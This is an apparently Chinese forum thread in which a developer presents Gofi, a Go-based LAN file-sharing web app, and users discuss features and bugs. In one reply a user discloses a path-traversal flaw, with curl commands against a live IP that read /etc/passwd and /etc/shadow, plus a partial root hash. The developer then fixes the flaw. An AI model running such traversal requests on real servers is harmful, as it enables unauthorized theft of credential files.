爱意满满的作品展示区。
Smash

一个用 Go 语言实现的 Web 网盘应用-Gofi

  •  4
     
  •   Smash · Dec 14, 2019 · 14275 views
    This topic created in 2517 days ago, the information mentioned may be changed or developed.

    最近在继续学习 go 语言,又在折腾 nas,遂花了点时间写了一个简单的网盘 Web 应用,类似 filebrowser/filebrowser(非模仿,我也是快写好了才知道有一个轮子了)。

    技术栈是 Golang + Ant Design Vue(几个月没写代码了,轻喷)

    目前主要是我家庭局域网在用,没有做权限认证,所以没有任何安全性保证,请不要在公网上部署。

    应该会断断续续更新,因为明年中旬结婚前可能都不准备当社畜了,所以这段时间主要是在筹备婚礼,减脂,写点小代码,等待判决书下达,思考人生。

    Github 地址:

    https://github.com/Sloaix/Gofi

    更新计划:

    https://github.com/Sloaix/Gofi/projects

    上面 deadline 就不要当真了,因为每个月总有那么几天不想写代码:)。

    希望对大家有点小用。

    V2EX image uploaded by TsingScript
    Supplement 1  ·  Dec 14, 2019
    由于所有前端静态文件都由 bindata 生成的二进制文件内嵌到 Go 内部,所以只有一个可执行文件,并且使用了 sqlite3,十分容易部署。
    Supplement 2  ·  Dec 14, 2019
    任意文件下载漏洞已经修复。
    Supplement 3  ·  Dec 14, 2019
    Supplement 4  ·  Dec 14, 2019
    如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有(文档网站已经开始搭建,迭代暂时暂停,12 月 17 日前应该有一个初步的文档),只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    Supplement 5  ·  Dec 14, 2019
    文档网址: https://gofi-doc.sloaix.com

    还比较粗糙
    Supplement 6  ·  Dec 17, 2019
    图片挂了,补个图
    https://imgchr.com/i/QomOS0
    Supplement 7  ·  Dec 17, 2019
    <img src="https://s2.ax1x.com/2019/12/17/QomOS0.md.jpg" alt="QomOS0.jpg" border="0" />
    57 replies  •  2021-09-07 20:33:07 +08:00
    Smash
    Smash
    OP
    Dec 14, 2019
    1
    PS.可以在吃灰的 Android 手机上部署,我已经在 Nexus5 上部署成功。
    Smash
    Smash
    OP
    Dec 14, 2019
    2
    预览网址:

    http://gofi.sloaix.com
    KasuganoSoras
    KasuganoSoras
    Dec 14, 2019
    3
    界面好评,比隔壁某闭源网盘好看多了
    wslwsl
    wslwsl
    Dec 14, 2019 via Android
    4
    好看,赞,最好手机端加个下载按钮就更方便了。
    Smash
    Smash
    OP
    Dec 14, 2019 via Android
    5
    @wslwsl #4 还没有适配手机。。。
    slwl
    slwl
    Dec 14, 2019 via iPhone
    6
    什么时候加个权限控制,感觉很好用哈
    takemeh
    takemeh
    Dec 14, 2019❤️3
    7
    @KasuganoSoras 你说的是我写的这个吗 http://cnt2.cf:5156/
    @slwl 我那个有权限,体积小,能放 OpenWrt 上运行。
    takemeh
    takemeh
    Dec 14, 2019❤️2
    8
    @slwl 演示地址的密码和用户名都是 abc
    界面很简陋的,和楼主的比起来相形见绌。
    Smash
    Smash
    OP
    Dec 14, 2019 via Android
    9
    @slwl #6 这个会加上的,不 2019 年来不及了。想加的功能有点多。
    bequt
    bequt
    Dec 14, 2019 via Android
    10
    @takemeh 网址挂了
    bequt
    bequt
    Dec 14, 2019 via Android❤️1
    11
    @takemeh 恢复了,图标换新了耶
    rootooroot
    rootooroot
    Dec 14, 2019❤️1
    12
    任意文件下载 权限太高了 连 shadow 都可以读
    http://129.226.186.76/api/download?path=../../../etc/passwd

    curl http://129.226.186.76/api/download\?path\=../../../../etc/issue
    Ubuntu 16.04.1 LTS \n \l

    curl http://129.226.186.76/api/download\?path\=../../../../etc/shadow
    root:$6$8jFcAk07$dZc99NqV8EtKk8mH53Ayi8gS8JhejmWemtppqCmC2Z0yj7vfMXxXrDMf
    jngke931126
    jngke931126
    Dec 14, 2019
    13
    @takemeh #7 你这个 webd 算是比较实用了,基本功能都有了,也没有楼上那个跨出目录读取任意文件漏洞。
    期待一下能不能支持多用户呢,每个用户一个目录,相互之间能用权限分离控制。
    以及 https 支持,这个部署到外网很有必要了。

    同时非常好奇这些功能怎么到这么小体积的,
    略微看了下,没有引用外部东西,可执行文件也没有压缩加壳。

    意外的是 linux 可执行文件原来可以跨不同发行版运行啊,之前一直以为要重新编译。

    你还应该好好做个网站,感觉正规一些,直接用个带端口的演示地址感觉对不起这个软件。
    下载到的版本和演示版本外观不一样啊,还没有更新吗?

    最后希望这种自建方案越来越多,选择多了那些公用盘才不会限速。
    Smash
    Smash
    OP
    Dec 14, 2019 via Android
    14
    @rootooroot #12 看到了,谢谢老哥。我先把安全这块简单处理一下吧。
    takemeh
    takemeh
    Dec 14, 2019❤️1
    15
    @jngke931126
    webd 这个体积实现这些功能是正常的,本来就是很简单的东西。
    一些 app 很大是因为增加了对用户没有必要的额外东西,或把部分功能前置到了客户端。
    linux 的二进制兼容性本来就很好,只要不用到太高版本内核和 glibc 的特性基本没问题。
    webd 只依赖内核和 C 运行库(glibc 或 musl)
    你说的功能我尽量实现吧。演示版和下载到的不一样是因为正在开发中。
    richzhu
    richzhu
    Dec 14, 2019
    16
    界面满分,等完善了 权限控制,资源预览,文本在线编辑了再来用 哈哈~
    xyok
    xyok
    Dec 14, 2019
    17
    挺不错的,logo 图标也是自己设计的吗
    alexliux
    alexliux
    Dec 14, 2019 via Android
    18
    star 学习一波
    Smash
    Smash
    OP
    Dec 14, 2019❤️1
    19
    @xyok 自己设计的,用手绘板出个草图,再用 PS 出的矢量图。
    Smash
    Smash
    OP
    Dec 14, 2019
    20
    @takemeh 你的网盘挺好,体积小,加载速度快。我的 gofi 前端体积还没优化,放在香港的服务器上光加载 js 就挺慢了。
    yukiloh
    yukiloh
    Dec 14, 2019 via Android
    21
    卧槽可以在安卓上跑这个就有点骚了,手上太多吃灰安卓
    FEDT
    FEDT
    Dec 14, 2019 via iPhone
    22
    厉害👍🏻
    Smash
    Smash
    OP
    Dec 14, 2019
    23
    @yukiloh 在 Android 的 /data/local/tmp 目录下,adb 用户具有可执行权限。使用 nohup ./gofi &命令可以启动一个后台运行的 gofi 程序,我在 Nexus5,魅族 mx4 上都测试过了,可以完全运行,但是国内的定制手机对于 adb 用户的目录权限不一样,比如原生系统对 Storage 目录是具有读写权限的,但是我在 mx4 上就只有 /data/local/tmp 目录的读写权限。
    Smash
    Smash
    OP
    Dec 14, 2019
    24
    @yukiloh 目前可以跑,但是挂了之后不能重启,所以如果要在 Android 上跑,还需要搞一个守护进程用来重启 Gofi,这样才能保证稳定性。
    crella
    crella
    Dec 14, 2019
    25
    请问 windows 上怎么编译,要用 msys 吗?
    Smash
    Smash
    OP
    Dec 14, 2019
    26
    @crella release 页面已经编译好了,我默认编译了 MacOS/Windows/Linux/Android(Arm)这几个常用的平台
    slwl
    slwl
    Dec 14, 2019
    27
    吃灰派用来干这个如何
    Smash
    Smash
    OP
    Dec 14, 2019
    28
    @slwl 我有个 zero 和 3B,还没来得及在上面跑过,你可以试试。
    Smash
    Smash
    OP
    Dec 14, 2019
    29
    @crella 如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有,只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    keepeye
    keepeye
    Dec 14, 2019
    30
    我想起了 13 年毕业设计,用 php 撸了个网盘系统,还是分布式存储的
    crella
    crella
    Dec 14, 2019 via Android
    31
    我在 win7 上启动进程成功,打开网页会发生错误,网页右上角弹出窗口提示错误:undefined。
    从 release 最近一个 win64 的链接下载的。不知道是不是没设定文件夹?
    Smash
    Smash
    OP
    Dec 14, 2019
    32
    @crella 我好久没在 Windows 上跑过了,我试一下。
    Smash
    Smash
    OP
    Dec 14, 2019
    33
    @crella 自动获取局域网 ip 出错了,你可能有多个网卡。我这边复现了,你先手动指定一下 ip 吧。用命令行运行 gofi.exe -ip <你的局域网 ip 或者 127.0.0.1>
    Smash
    Smash
    OP
    Dec 14, 2019
    34
    @crella 这个 ip 地址主要是服务端提供的 api 的 ip,供前端请求。
    crella
    crella
    Dec 14, 2019 via Android
    35
    是的,有 vmplayer 网卡和直升机跑道
    Smash
    Smash
    OP
    Dec 14, 2019
    36
    @crella Windows 上的 Gofi,后端 ls api 貌似存在兼容性问题,这块要等我修复一下了。
    crella
    crella
    Dec 14, 2019❤️1
    37
    我给本机上的虚拟机 linux 上的 gofi 上传一个 700M 的 iso,多次提醒 You have reached maximum request limit. 好奇问一下是什么意思?

    ![gofi.jpg]( https://i.loli.net/2019/12/14/my1KIAqgsSYVwju.jpg)
    SteveAlan
    SteveAlan
    Dec 14, 2019
    38
    界面是用的 ant design 吗?
    Smash
    Smash
    OP
    Dec 14, 2019 via Android
    39
    @crella #37 @crella #37 应该只有在预览模式才有请求频率限制的。启动的时候会打印当前的 environment,能截下图吗
    Smash
    Smash
    OP
    Dec 14, 2019 via Android
    40
    @SteveAlan #38 恩
    Hoshizora
    Hoshizora
    Dec 14, 2019 via Android
    41
    0.5 arm 的那个在手机上运行不了,0.4 的可以,当初始化失败,好像是 sqlite 那出问题了
    Smash
    Smash
    OP
    Dec 14, 2019
    42
    @Hoshizora 我在 issue 上记录一下。兼容性问题
    Smash
    Smash
    OP
    Dec 15, 2019
    43
    @crella 已经在 develop 分支修复了,我明天打个 fix 包
    Tink
    Tink
    Dec 15, 2019 via iPhone
    44
    开源好评
    Smash
    Smash
    OP
    Dec 15, 2019
    45
    @crella v0.5.1 已经 release 并修复. gofi-v0.5.1-windows-4.0-amd64.exe
    bijue
    bijue
    Dec 16, 2019 via Android
    47
    等待什么判决书?
    Maboroshii
    Maboroshii
    Dec 16, 2019
    48
    看了一下只有配置项保存在了 sqlite 里,用 json 保存在文件里我觉得也行,毕竟量不大。
    sqlite 用了 cgo,不方便交叉编译呀。
    Smash
    Smash
    OP
    Dec 16, 2019
    49
    @Maboroshii 目前是可以这样,配置项用文本文件存储,但是我想到后面要做权限认证,这个还是用数据库更方便一些。交叉编译这块目前用的开源库 xgo 实现的。
    Smash
    Smash
    OP
    Dec 16, 2019
    50
    @bijue 想听故事的话,可以看看我时间线。
    vix
    vix
    Dec 17, 2019 via Android
    51
    以前也是玩着实现了个,不过好久没维护了,惭愧。
    Smash
    Smash
    OP
    Dec 17, 2019
    52
    @vix 所以不是国外的好的开源项目就多,而是国内的工程师们都忙于 996 了,233333。
    caik13
    caik13
    Dec 18, 2019
    53
    感谢分享,找了好久 golang 这种的
    lijixi
    lijixi
    Dec 27, 2019
    55
    今天简单研究了几个私有网盘,请教:@smash 您的这个项目比 [filebrowser]( https://github.com/filebrowser/filebrowser) 强在何处呢?
    Smash
    Smash
    OP
    Dec 27, 2019 via Android
    56
    @lijixi #55 那个项目貌似开发者没维护了,社区在维护。主要是差异化吧,想集成的功能不太一样。
    cheek
    cheek
    Sep 7, 2021
    57
    @Smash 作者你好,能 Release 一个 Windows 32 位的吗?老电脑使用 :)
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1355 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 69ms · UTC 20:41 · PVG 04:41 · LAX 12:41 · JFK 15:41
    ♥ Do have faith in what you're doing.